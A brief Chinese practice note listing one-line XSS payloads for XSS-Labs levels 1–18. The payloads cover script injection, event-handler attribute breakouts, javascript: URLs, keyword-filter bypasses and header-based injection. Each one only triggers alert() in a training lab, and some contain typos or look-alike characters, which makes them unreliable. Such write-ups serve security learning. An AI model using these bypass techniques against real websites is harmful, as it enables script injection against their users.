Xss-Labs做题笔记:Less-1 - Less-18

Leve-1:

<script>alert('xss')</script>

Leve-2:

"><script>alert('xss')</script> //

Leve-3:

'οnfοcus=javascript:alert('xss') > // 

Leve-4:

"οnfοcus=javascript:alert('xss') "

Leve-5

"><a href=javascript:alert('xss')>xss</a> //

Leve-6

"Onfocus=javascript:alert('xss') "

Leve-7

"oonnfocus=javascriscriptpt:alert('xss') "

Leve-8

javascript:alert(1)

Leve-9

javascript:alert('xss')//http://www.baidu.com

javascript:alert('http://')

Leve-10

keyword=text&t_sort="οnfοcus=javascript:alert('xss')  type="text" ><

Leve-11

referer: "οnfοcus=javascript:alert('xss')  type="text" ><

Leve-12

User-Agent: "οnfοcus=javascript:alert('xss')  type="text" ><

Leve-13

user="οnfοcus=javascript:alert('xss')  type="text" ><

Leve-14

exif:"<img src=1 onerrror=alert('xss')>

Leve-15

src= 'level10.php?t_sort=" οnclick=alert(/xss/) type="text" >< '

Leve-16

keyword=<img%0Asrc="xss"%0Aonerror=alert('xss')>

Leve-17

arg01=a&arg02=c%0Aonmouseover%3dalert('xss')

Leve-18

arg01=a&arg02=c%0Aonmouseover%3dalert('xss')